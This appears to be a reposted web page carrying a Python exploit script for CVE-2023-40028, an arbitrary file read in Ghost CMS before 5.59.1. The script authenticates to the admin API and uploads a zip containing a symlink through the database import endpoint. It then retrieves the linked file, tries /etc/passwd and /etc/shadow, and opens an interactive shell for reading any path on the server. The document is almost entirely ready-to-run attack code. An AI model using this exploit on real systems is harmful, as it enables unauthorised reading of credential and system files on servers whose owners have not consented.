Ghost CMS 5.59.1 – Arbitrary File Read


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
# Exploit Title: Ghost CMS 5.59.1 - Arbitrary File Read
# Date: 2023-09-20
# Exploit Author: ibrahimsql (https://github.com/ibrahmsql)
# Vendor Homepage: https://ghost.org
# Software Link: https://github.com/TryGhost/Ghost
# Version: < 5.59.1
# Tested on: Ubuntu 20.04 LTS, Windows 10, macOS Big Sur
# CVE: CVE-2023-40028
# Category: Web Application Security
# CVSS Score: 6.5 (Medium)
# Description:
# Ghost CMS versions prior to 5.59.1 contain a vulnerability that allows authenticated users
# to upload files that are symlinks. This can be exploited to perform arbitrary file reads
# of any file on the host operating system. The vulnerability exists in the file upload
# mechanism which improperly validates symlink files, allowing attackers to access files
# outside the intended directory structure through symlink traversal.


# Requirements: requests>=2.28.1, zipfile, tempfile

# Usage Examples:
# python3 CVE-2023-40028.py http://localhost:2368 admin@example.com password123
# python3 CVE-2023-40028.py https://ghost.example.com user@domain.com mypassword

# Interactive Usage:
# After running the script, you can use the interactive shell to read files:
# file> /etc/passwd
# file> /etc/shadow
# file> /var/log/ghost/ghost.log
# file> exit
"""

import requests
import sys
import os
import tempfile
import zipfile
import random
import string
from typing import Optional

class ExploitResult:
    def __init__(self):
        self.success = False
        self.file_content = ""
        self.status_code = 0
        self.description = "Ghost CMS < 5.59.1 allows authenticated users to upload symlink files for arbitrary file read"
        self.severity = "Medium"

class GhostArbitraryFileRead:
    def __init__(self, ghost_url: str, username: str, password: str, verbose: bool = True):
        self.ghost_url = ghost_url.rstrip('/')
        self.username = username
        self.password = password
        self.verbose = verbose
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept': 'application/json, text/plain, */*',
            'Accept-Language': 'en-US,en;q=0.9'
        })
        self.api_url = f"{self.ghost_url}/ghost/api/v3/admin"
        
    def authenticate(self) -> bool:
        """Authenticate with Ghost CMS admin panel"""
        login_data = {
            'username': self.username,
            'password': self.password
        }
        
        headers = {
            'Origin': self.ghost_url,
            'Accept-Version': 'v3.0',
            'Content-Type': 'application/json'
        }
        
        try:
            response = self.session.post(
                f"{self.api_url}/session/",
                json=login_data,
                headers=headers,
                timeout=10
            )
            
            if response.status_code == 201:
                if self.verbose:
                    print("[+] Successfully authenticated with Ghost CMS")
                return True
            else:
                if self.verbose:
                    print(f"[-] Authentication failed: {response.status_code}")
                return False
                
        except requests.RequestException as e:
            if self.verbose:
                print(f"[-] Authentication error: {e}")
            return False
    
    def generate_random_name(self, length: int = 13) -> str:
        """Generate random string for image name"""
        return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
    
    def create_exploit_zip(self, target_file: str) -> Optional[str]:
        """Create exploit zip file with symlink"""
        try:
            # Create temporary directory
            temp_dir = tempfile.mkdtemp()
            exploit_dir = os.path.join(temp_dir, 'exploit')
            images_dir = os.path.join(exploit_dir, 'content', 'images', '2024')
            os.makedirs(images_dir, exist_ok=True)
            
            # Generate random image name
            image_name = f"{self.generate_random_name()}.png"
            symlink_path = os.path.join(images_dir, image_name)
            
            # Create symlink to target file
            os.symlink(target_file, symlink_path)
            
            # Create zip file
            zip_path = os.path.join(temp_dir, 'exploit.zip')
            with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
                for root, dirs, files in os.walk(exploit_dir):
                    for file in files:
                        file_path = os.path.join(root, file)
                        arcname = os.path.relpath(file_path, temp_dir)
                        zipf.write(file_path, arcname)
            
            return zip_path, image_name
            
        except Exception as e:
            if self.verbose:
                print(f"[-] Error creating exploit zip: {e}")
            return None, None
    
    def upload_exploit(self, zip_path: str) -> bool:
        """Upload exploit zip file to Ghost CMS"""
        try:
            headers = {
                'X-Ghost-Version': '5.58',
                'X-Requested-With': 'XMLHttpRequest',
                'Origin': self.ghost_url,
                'Referer': f"{self.ghost_url}/ghost/"
            }
            
            with open(zip_path, 'rb') as f:
                files = {
                    'importfile': ('exploit.zip', f, 'application/zip')
                }
                
                response = self.session.post(
                    f"{self.api_url}/db",
                    files=files,
                    headers=headers,
                    timeout=30
                )
                
                if response.status_code in [200, 201]:
                    if self.verbose:
                        print("[+] Exploit zip uploaded successfully")
                    return True
                else:
                    if self.verbose:
                        print(f"[-] Upload failed: {response.status_code}")
                    return False
                    
        except requests.RequestException as e:
            if self.verbose:
                print(f"[-] Upload error: {e}")
            return False
    
    def read_file(self, target_file: str) -> ExploitResult:
        """Read arbitrary file using symlink upload"""
        result = ExploitResult()
        
        if not self.authenticate():
            return result
        
        if self.verbose:
            print(f"[*] Attempting to read file: {target_file}")
        
        # Create exploit zip
        zip_path, image_name = self.create_exploit_zip(target_file)
        if not zip_path:
            return result
        
        try:
            # Upload exploit
            if self.upload_exploit(zip_path):
                # Try to access the symlinked file
                file_url = f"{self.ghost_url}/content/images/2024/{image_name}"
                
                response = self.session.get(file_url, timeout=10)
                
                if response.status_code == 200 and len(response.text) > 0:
                    result.success = True
                    result.file_content = response.text
                    result.status_code = response.status_code
                    
                    if self.verbose:
                        print(f"[+] Successfully read file: {target_file}")
                        print(f"[+] File content length: {len(response.text)} bytes")
                else:
                    if self.verbose:
                        print(f"[-] Failed to read file: {response.status_code}")
            
        except Exception as e:
            if self.verbose:
                print(f"[-] Error during exploit: {e}")
        
        finally:
            # Cleanup
            try:
                if zip_path and os.path.exists(zip_path):
                    os.remove(zip_path)
                temp_dir = os.path.dirname(zip_path) if zip_path else None
                if temp_dir and os.path.exists(temp_dir):
                    import shutil
                    shutil.rmtree(temp_dir)
            except:
                pass
        
        return result
    
    def interactive_shell(self):
        """Interactive shell for file reading"""
        print("\n=== CVE-2023-40028 Ghost CMS Arbitrary File Read Shell ===")
        print("Enter file paths to read (type 'exit' to quit)")
        
        while True:
            try:
                file_path = input("file> ").strip()
                
                if file_path.lower() == 'exit':
                    print("Bye Bye!")
                    break
                
                if not file_path:
                    print("Please enter a file path")
                    continue
                
                if ' ' in file_path:
                    print("Please enter full file path without spaces")
                    continue
                
                result = self.read_file(file_path)
                
                if result.success:
                    print(f"\n--- Content of {file_path} ---")
                    print(result.file_content)
                    print("--- End of file ---\n")
                else:
                    print(f"Failed to read file: {file_path}")
                    
            except KeyboardInterrupt:
                print("\nExiting...")
                break
            except Exception as e:
                print(f"Error: {e}")

def main():
    if len(sys.argv) != 4:
        print("Usage: python3 CVE-2023-40028.py   ")
        print("Example: python3 CVE-2023-40028.py http://localhost:2368 admin@example.com password123")
        return
    
    ghost_url = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    
    exploit = GhostArbitraryFileRead(ghost_url, username, password, verbose=True)
    
    # Test with common sensitive files
    test_files = [
        "/etc/passwd",
        "/etc/shadow",
        "/etc/hosts",
        "/proc/version",
        "/var/log/ghost/ghost.log"
    ]
    
    print("\n=== CVE-2023-40028 Ghost CMS Arbitrary File Read Exploit ===")
    print(f"Target: {ghost_url}")
    print(f"Username: {username}")
    
    # Test authentication first
    if not exploit.authenticate():
        print("[-] Authentication failed. Please check credentials.")
        return
    
    print("\n[*] Testing common sensitive files...")
    for test_file in test_files:
        result = exploit.read_file(test_file)
        if result.success:
            print(f"[+] Successfully read: {test_file}")
            print(f"    Content preview: {result.file_content[:100]}...")
        else:
            print(f"[-] Failed to read: {test_file}")
    
    # Start interactive shell
    exploit.interactive_shell()

if __name__ == "__main__":
    main()
            



Source link

Leave a Reply

Your email address will not be published. Required fields are marked *